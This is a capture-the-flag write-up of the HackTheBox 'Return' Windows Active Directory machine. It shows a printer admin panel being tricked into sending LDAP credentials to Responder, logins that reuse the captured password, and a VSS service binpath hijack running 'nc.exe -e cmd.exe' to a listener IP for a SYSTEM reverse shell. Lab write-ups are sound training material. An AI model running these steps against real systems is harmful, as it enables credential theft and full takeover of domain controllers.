
HTB: Return
A printer admin panel will happily send its saved LDAP credentials to whatever server we point it at, Responder catches them in cleartext, and the account's Server Operators membership lets us hijack the VSS service for a SYSTEM shell.
Return is a Windows Active Directory box from HackTheBox. A printer admin panel hands us a service account's password in cleartext, and that account's Server Operators membership takes us to SYSTEM by hijacking a service. Let's get into it.
Recon
Kicking things off with an nmap scan, we can see we have a bit of an Active Directory machine going on here: DNS, Kerberos, LDAP on the return.local domain, WinRM on 5985, and a web app running on port 80 titled HTB Printer Admin Panel.

Let's go ahead and visit that site, but before we do, let's add return.local to our hosts file.
Printer admin panel to cleartext creds
Heading over to port 80 we find a printer admin page. Over on the Settings tab we can see there's a svc-printer user on the server printer.return.local, so let's add that to our hosts file too and note down the user.

The printer uses these saved credentials to connect to LDAP on port 389 at whatever Server Address is set. If we swap that address for our own IP and hit Update, the printer will send its credentials to us instead. Let's pop open Responder, which runs its own LDAP listener, and hit it from this printer app:
sudo responder -I tun0

We got some credentials: svc-printer with the password 1edFg43012!!. Great, let's note these down and run enum4linux-ng against the target with them.

We got a hit, lots of info to work with here. We now know these credentials work against printer.return.local, so let's use netexec and see if we have WinRM access:
nxc winrm printer.return.local -u 'svc-printer' -p '1edFg43012!!'

It's another hit! Great, let's log into the machine with evil-winrm.
evil-winrm -i printer.return.local -u 'svc-printer' -p '1edFg43012!!'

Enumerating svc-printer
We are in, and checking our privileges we see we have a good amount to work with. Let's see if we have any ACL angles here. We will use bloodyAD for this:
bloodyAD --host printer.return.local -d return.local -u svc-printer -p '1edFg43012!!' get writable

Looks like we have a few things here, but nothing of interest at the moment. Let's check our group memberships:
net user svc-printer /domain

We're in the Server Operators group, and we can abuse this. Server Operators can reconfigure, start and stop services on the domain controller, and a lot of those services run as SYSTEM.
Before we move forward, user.txt is sitting on the desktop of the svc-printer user.

Privesc: Server Operators service hijack
OK, now let's upload netcat with our WinRM shell:
upload nc.exe

We start up a listener on 4444 and point a service back at it. VSS (Volume Shadow Copy) is a good candidate: sc.exe qc shows it runs as LocalSystem. We swap its binary path for our netcat callback:
sc.exe qc VSS
sc.exe config VSS binpath= "C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.14.211 4444"

Nothing happened. I figured it was egress and switched the payload over to port 443, but the real issue was simpler: changing the binary path doesn't run anything, so we have to start VSS for it to work.
sc.exe config VSS binpath= "C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.14.211 443"
sc.exe start VSS

We are in as nt authority\system! Great, now let's head over to the Administrator desktop and grab that root.txt flag.

Closing thoughts
This box was pretty easy. The shell kept dropping at the end with the nc shell, but other than that it was fairly simple, and I can imagine finding this in the real world. The drops make sense: nc.exe isn't a real service, so Windows kills it after about 30 seconds when it never reports back as started. If you need a stable shell, use that first one to launch a second, independent one right away.
